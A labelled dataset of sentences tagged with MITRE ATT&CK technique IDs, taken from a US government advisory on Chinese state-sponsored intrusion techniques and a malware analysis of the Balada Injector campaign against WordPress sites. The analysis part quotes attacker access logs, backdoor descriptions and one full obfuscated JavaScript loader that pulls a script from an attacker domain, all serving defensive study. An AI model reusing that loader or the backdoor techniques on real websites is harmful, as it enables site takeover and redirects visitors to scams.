{"sentence": "Credential Hardening Multi-factor Authentication [D3-MFA] Message Hardening Message Encryption [D3-MENCR] Detect: Process Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PA] Tactics: Command and Control", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0011] Table XII: Chinese state-sponsored cyber actors’ Command and Control TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Application Layer", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Protocol", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1071] Chinese state-sponsored cyber actors have been observed: Using commercial cloud storage services for command and control.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Using malware implants that use the Dropbox:registered: API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive:registered: API.", "labels": ["T1105"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use network intrusion detection and prevention systems with network signatures to identify traffic for specific adversary malware.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] File Carving [D3-FC] Isolate: Network Isolation DNS Denylisting [D3-DNSDL] Ingress Tool Transfer", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1105] Chinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks.", "labels": ["T1105"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "In some instances.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks.", "labels": ["T1570"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Perform ingress traffic analysis to identify transmissions that are outside of normal network behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Do not expose services and protocols (such as File Transfer Protocol", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[FTP]) to the Internet without strong business justification.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use signature-based network intrusion detection and prevention systems to identify adversary malware coming into the network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Non-Standard Port [T1571] Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use signature-based network intrusion detection and prevention systems to identify adversary malware calling back to C2.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Configure firewalls to limit outgoing traffic to only required ports based on the functions of that network segment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] Protocol Metadata Anomaly Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PMAD] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Outbound Traffic Filtering [D3-OTF] Protocol Tunneling [T1572] Chinese state-sponsored cyber actors have been observed using tools like dog-tunnel and dns2tcp.exe to conceal C2 traffic with existing network activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor systems for connections using ports/protocols commonly associated with tunneling, such as SSH (port 22).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) Detect: Network Traffic Analysis Protocol Metadata Anomaly Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PMAD]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Proxy [T1090]: Multi-Hop Proxy [T1090.003] Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor traffic for encrypted communications originating from potentially breached routers to other routers within the organization.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Compare the source and destination with the configuration of the device to determine if these channels are authorized VPN connections or other encrypted modes of communication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Alert on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use network allow and blocklists to block traffic to known anonymity networks and C2 infrastructure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Network Traffic Analysis Protocol Metadata Anomaly Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-PMAD] Relay Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-RPA] Isolate: Network Isolation Outbound Traffic Filtering [D3-OTF] Appendix B: MITRE ATT&CK Framework Figure 2: MITRE ATT&CK Enterprise tactics and techniques used by Chinese state-sponsored cyber actors (Click here for the downloadable JSON file.)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Contact InformationTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.dhs.gov.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Media Inquiries / Press Desk: • NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov • CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov • FBI National Press Office, 202-324-3691, npo@fbi.gov References [1] FireEye:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits Revisions July 19, 2021:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Initial Version This product is provided subject to this Notification and this Privacy & Use policy.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "On May 11th, 2023, the very popular WordPress plugin Essential Addons for Elementor released a patch for a critical privilege escalation vulnerability, initially discovered by PatchStack.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The technical details of this vulnerability can be found on their recent blog post.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Over one million websites use this plugin and the fallout from this has been absolutely massive, with over 6,000 detections by SiteCheck already so far and 1637 detections in", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "publicWWW scan results.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Naturally, if you are a website owner using this plugin and haven’t yet already, patch now!", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Our clients using the Sucuri Website Firewall are protected from this vulnerability as our research team issued an emergency patch shortly after the vulnerability was disclosed.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Contents:New malware taste, classic Balada flavorAs with any new vulnerability like this the attackers associated with the years-long Balada malware campaign (which we have documented extensively on this blog) were quick to jump on the opportunity.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Within 24 hours of the vulnerability’s release we observed a large spike in infections, many of which included a Doppelgänger post-layouts (Post Layouts for Gutenberg) plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Notice the added “s” in posts:./wp-content/plugins/posts-layoutsSince the vulnerability allows for unauthenticated takeover of websites, attackers are able to take full administrator control of victim environments and install malicious plugins like the one above.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Post Layouts is actually a legitimate plugin found within the WordPress repository with over 30,000+ installations and is designed to add functionality to WordPress that allows posts to be displayed in grid and list layouts.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "That being said, the version installed by the Balada attackers is spurious and a maliciously modified version, in which hackers disabled the legitimate functionality and added malicious code to be executed instead.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "All legitimate files and the metadata of the real post-layouts plugin are retained though, which make it look like the real deal at the first sight.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "We can see that with 30,000+ active installations, the original plugin has only less than 11,000 all time downloads.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Usually, the number of all time downloads is significantly higher than the number of active installations, since it’s common practice to download plugins, test them, and remove/disable afterwards.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "At the beginning of this week, the number of active installations was still 20,000+.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "With 316 downloads during the last 7 days, you can hardly expect the number of active installations to increase so quickly.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "You can see a spike in downloads after May 12, 2023 when the attack began.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "These 100+ downloads per day couldn’t contribute to the increase in active downloads and the volume of hacked sites that we see.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "We think this insignificant spike was caused by webmasters and security professionals that wanted to download the official version and compare it with the suspicious plugins found on compromised sites.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The real reason of the increase in active installs is that hackers started to upload a modified version of this plugin as posts-layouts to compromised websites:We can clearly see this in the access logs of infected sites:193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:33 +0000] \"GET /wp-admin/plugin-install.php?wc-ajax=1\" 200 0 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:36 +0000] \"POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1\" 200 9567 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:39 +0000] \"POST /wp-admin/plugin-install.php?wc-ajax=1\" 200 0 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:41 +0000] \"POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1\" 200 7689 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:45 +0000] \"POST /wp-admin/plugin-install.php?wc-ajax=1\" 200 0 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:48 +0000] \"POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1\" 200 1361 - 16276 25581 … 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:55 +0000] \"POST /wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=810f12b23c\" 302 0 - 16276 25581 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:17:56 +0000] \"GET /wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=\" 200 0 - 16276 25581While the plugin is placed in a directory with a different name, all the metadata is still from the real post-layouts plugin, which confuses WordPress and they count this malicious plugin as a real one, thus inflating the number of “active installs” in the WordPress repository.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The Balada script injection occurs in the malicious posts-layout/dist/job.php file:./wp-content/plugins/posts-layouts/dist/job.phpIn the posts_layouts_head() function we can see the telltale character code obfuscation being used here, which seems to be a favorite of the Balada malware threat actors.", "labels": ["T1140"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "When decoded, the following script injection is revealed from cdn[.]scriptsplatform[.]com:<script src='hxxps://cdn[.]scriptsplatform[.]com/scripts/stats.js' type='text/javascript'></script>", "labels": ["T1140"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The same job.php file also contains a backdoor that executes arbitrary PHP code sent as a POST request parameter “dd1”.", "labels": ["T1071.001"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Additionally, we also find code used to verify the presence of the installed malicious plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "For requests containing the “343” GET parameter, the plugin returns the MD5 hash of ‘343’ which is equal 3ad7c2ebb96fcba7cda0cf54a2e802f5.Verification of the plugin installationHere, you can see how hackers verify the presence of the plugin before and after the infection://Before the infection a real site web page is returned: 21414 bytes 193.169.195.64 - - [12/May/2023:21:17:23 +0000] \"GET /?343=1 HTTP/1.0\" 200 21414 \"-\" \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Chrome/84.0.4147.125 Safari/537.36\" … //After the infection the same request returns a short 332 byte page (including headers) 193.169.195.64 - - [12/May/2023:21:17:59 +0000] \"GET /?343=1 HTTP/1.0\" 200 332 \"-\" \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Chrome/84.0.4147.125", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Safari/537.36\"The malicious stats.js payload JavaScript file is, as usual, a heavily obfuscated script that looks like the following:Moreover, the WordPress wp_head hook is used within the payload, which ensures that the JavaScript injection is lodged within the header section of the website on every page.", "labels": ["T1027"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Running a simple whois command over the main scriptsplatform domain shows that it was created/registered one day after the vulnerability was disclosed, suggesting that it was purpose-built for this mass infection:Domain name: scriptsplatform[.]com Registry Domain ID: 2780171223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.eranet.com Registrar URL: http://www.eranet.com Updated Date: 2023-05-12T00:00:00Z Creation Date: 2023-05-12T05:33:59ZVisitors to the infected websites are met with a bogus redirect served by shady ad networks pushing mainly adult dating and notification scams that can look a little something like this:Malware analysisAs you might have noticed, the malicious code added to the posts-layouts/posts-layouts.php actually tries to load three files: dist/init.php, dist/cache.php and dist/job.php.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Malicious code in wp-content/plugins/posts-layouts/posts-layouts.phpWe’ve already described the dist/job.php file above.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The dist/cache.php file is missing on all sites that we have worked on.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "It doesn’t prevent the plugin from working since it only tries to load it if the file actually exists.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The dist/init.php file is a part of the legitimate post-layouts plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "However, in the malicious plugin the contents of the file is completely different.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "It is the file that defines the posts_layouts_finish() function that is hooked to the “pre_current_active_plugins” action on the last line of the posts-layouts.php.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The purpose of this additional function is to hide the plugin from being visible from within the wp-admin administrator dashboard, but still keeps the plugin “functionality” active on the website.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Additional infection activityInstallation of the fake posts-layouts plugin is not the only thing that hackers do during the initial infection.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Additionally, they inject the Balada scripts at the top of the active theme’s header.php and footer.php files.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In the case of header.php, the injected script is hxxps://cdn.scriptsplatform[.]com/scripts/header.js.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "For footer.php, the injected script is hxxps://cdn.scriptsplatform[.]com/scripts/footer.js.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "This is how the injection looks in access logs:193.169.195.64 - -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:18:00 +0000] \"POST /wp-admin/theme-editor.php?wc-ajax=1&file=header.php HTTP/1.0\" 200 45863 \"https://<redacted>/wp-admin/theme-editor.php?wc-ajax=1&file=header.php\" \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\" 139.162.234.6 - - [12/May/2023:21:18:02 +0000] \"GET /wp-admin/theme-editor.php?theme=<redacted>&file=header.php&wp_scrape_key=9d62c27a9d88828dc1afaa4927b0550f&wp_scrape_nonce=395126822 HTTP/1.0\" 200 46029 \"-\" \"WordPress/6.2; https://<redacted>\" .. 193.169.195.64 - -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "[12/May/2023:21:18:06 +0000] \"POST /wp-admin/theme-editor.php?file=header.php&wc-ajax=1 HTTP/1.0\" 200 45900 \"https://<redacted>/wp-admin/theme-editor.php?file=header.php&wc-ajax=1\" \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\" 193.169.195.64 - - [12/May/2023:21:18:08 +0000] \"POST /wp-admin/theme-editor.php?wc-ajax=1&file=footer.php HTTP/1.0\" 200 44786 \"https://<redacted>/wp-admin/theme-editor.php?wc-ajax=1&file=footer.php\" \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\" 139.162.234.6 - - [12/May/2023:21:18:10 +0000] \"GET /wp-admin/theme-editor.php?theme=<redacted>&file=footer.php&wp_scrape_key=ad1ff4f46178f3088aa44babccd465f3&wp_scrape_nonce=1686713392 HTTP/1.0\" 200 44956 \"-\" \"WordPress/6.2; https://<redacted>\" ..Malicious header.js, stat.js and footer.js loads the same code that eventually loads statistic.scriptsplatform[.]com/collect and then come.scriptsplatform[.]com/away.php which uses a TDS to redirect site visitors to some third-party site.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "All three scripts appear on the same infected page.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "This doesn’t cause problems, as all of them check if the statistic.scriptsplatform[.]com/collect script was actually loaded.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "On the other hand, placing the scripts in three different locations helps the attackers keep the injection working even if the malware is partially cleaned.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Furthermore, we see the same attacker injecting backdoor PHP scripts into the docroot and some other directories of victim websites.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The file names of these backdoors follow the pattern wp-<English-word>-need-XXX.php, where <English-word> is a random English word and XXX are 3 random characters.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "For example:./wp-sale-need-wuu.php ./wp-sold-need-xdd.php ./wp-mails-need-lxj.php ./wp-mails-need-wjo.php ./wp-drop-need-baj.php ./wp-working-need-css.php ./wp-locations-need-bot.php ./wp-readmes-need-rfq.php ./wp-track-need-ito.php ./wp-cliff-need-oxy.php ./wp-sale-need-vzw.php ./wp-working-need-bkv.php ./wp-working-need-ygr.php The contents of these files look a little something like this, with slight variations for each:When decoded, a backdoor is revealed:This backdoor executes arbitrary PHP code sent in POST request parameters.", "labels": ["T1071.001", "T1140"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In addition, it also tries to delete the wp-sale.js file created at the same time as the backdoor.", "labels": ["T1070.004"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "The wp-sale.js file contains a hash, the name of the backdoor file, and uses the ‘:demowpsale:’", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "keyword as a delimiter.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "On each infected site the parameter names and hashes used for verifying passwords are different.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Thus, hackers need to keep track of all this data for every compromised site in order to be able to access their backdoors later.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Threat actors have also been adding a malicious user to infected websites with the name wp-demouser-44.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "This username has already proliferated to many websites in google search results.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "ID: 4, Username: wp-demouser-44, E-mail: wpemailFEmK@pif.com, Creation Date: 2023-05-12 11:17:30Start_h.js / start_f.js variation of Balada injectionsWhile the posts-layouts malware is found only on sites with the Essential Addons for Elementor plugin, another type of Balada injection is found on sites that don’t use the Essential Addons for Elementor — or use non-vulnerable versions of this plugin (both older than 5.4.0 and newer than 5.7.1).Most likely, this injection is leveraged when the attackers can’t obtain the WordPress admin access and use other vulnerabilities and previous backdoors instead.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In some cases, we also attribute this to cross-site contamination when multiple sites share the same hosting account.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "In such cases, we find the following modified wp-blog-header.php file which includes injected obfuscated PHP code (again using character code obfuscation):The decoded malware looks like this:What we can see is the malware again tries to inject three malicious scripts:hxxps://cdn.scriptsplatform[.]com/scripts/start_h.js into the header of the bloghxxps://cdn.scriptsplatform[.]com/scripts/start_f.js into the footer of the bloghxxps://cdn.scriptsplatform[.]com/scripts/start_c.js into the main content of the blogInterestingly enough, the start_c.js script is only injected into single pages while start_f.js is injected even to known users of the blog.Start_h.js and start_c.js return the same script as the header/footer/stat.js described in the posts_layouts infection.", "labels": ["T1027"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Start_f.js doesn’t return anything at this point, so it’s purpose it not clear.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "This malware tries to track logged in WordPress users to avoid injections — even when they log out of WordPress.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "To accomplish this, bad actors set the “wordpress_m_adm” cookie and write the visitors IP address into the rq.txt file in the server’s temporary directory.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Jquery injectionsIn some cases, the following obfuscated JavaScript code is injected on top of wp-includes/js/jquery/jquery.min.js and wp-includes/js/jquery/jquery-migrate.min.jsvar m=b;(function(c,e){var l=b,f=c();while(!![]){try{var g=parseInt(l(0x135))/0x1+parseInt(l(0x12b))/0x2+-parseInt(l(0x12d))/0x3+parseInt(l(0x13d))/0x4+-parseInt(l(0x12e))/0x5*(parseInt(l(0x12a))/0x6)+parseInt(l(0x12f))/0x7*(-parseInt(l(0x13e))/0x8)+parseInt(l(0x13c))/0x9;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x7f054));function b(c,d){var e=a();return b=function(f,g){f=f-0x128;var h=e[f];return h;},b(c,d);}var j=document,k=j[m(0x130)](m(0x12c));k[m(0x138)]='h'+'tt'+m(0x13f)+'/'+'/s'+'ta'+m(0x128)+'t'+m(0x134)+'ri'+'p'+'ts'+m(0x132)+'tf'+'or'+m(0x13a)+m(0x136)+'lo'+'b'+'al';function a(){var n=['3558289hXnVzT','createElement','getElementsByTagName','pla','insertBefore','ics.sc','420078GNrZss','m/g','currentScript','src','head','m.co','parentNode','8887806xXCyNX','388724nuSCLw','8ZOcngi','ps:','tis','appendChild','3101916zsXWgk','1138664hDNQfV','script','1585608NAjuAN','5gMyIif'];a=function(){return n;};return a();}document[m(0x137)]?document[m(0x137)][m(0x13b)][m(0x133)](k,document[m(0x137)]):j[m(0x131)](m(0x139))[0x0][m(0x129)](k);This script also belongs to Balada Injector and loads hxxps://statistics.scriptsplatform[.]com/global.", "labels": ["T1027"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "New variation: cdn.clickandanalytics[.]comAfter May 17, 2023 we started noticing similar JavaScript injection into legitimate website files that loaded the Balada script from: hxxps://cdn.clickandanalytics[.]com/trackIt’s a very fresh domain.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "According to WHOIS data, it was registered on 2023-05-17T17:01:12Z.Fake hellopress pluginPosts-layouts is not the only malicious plugin installed on sites with the vulnerable essential-addons-for-elementor-lite plugin.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "Another one (which seems to be installed by a different threat actor) is hellopress.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
{"sentence": "We find these backdoors on compromised sites:wp-content/plugins/hellopress/wp_mna.php – file uploaderwp-content/plugins/hellopress/wp_filemanager.php – web shellTo summarize:The attacker successfully logs into the vulnerable WordPress site through wp-login.phpThey use the update.php?action=upload-plugin endpoint to install the malicious pluginNext, the plugin is activated via plugins.php?action=activate&plugin=posts-layouts%2Fposts-layouts.phpSeveral requests are made to both theme-editor.php and admin-ajax.php to inject further malware into the website files, specifically the header.php and footer.php files (these are further injections of the same malicious JavaScript)Further requests are made to the additional backdoor injected into the docrootThe malware is not identical for each and every affected website so the workflow and logs will vary slightly from site to site, but this is the gist of how they are exploiting this unauthenticated privilege escalation vulnerability to take over websites and inject malware.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"}
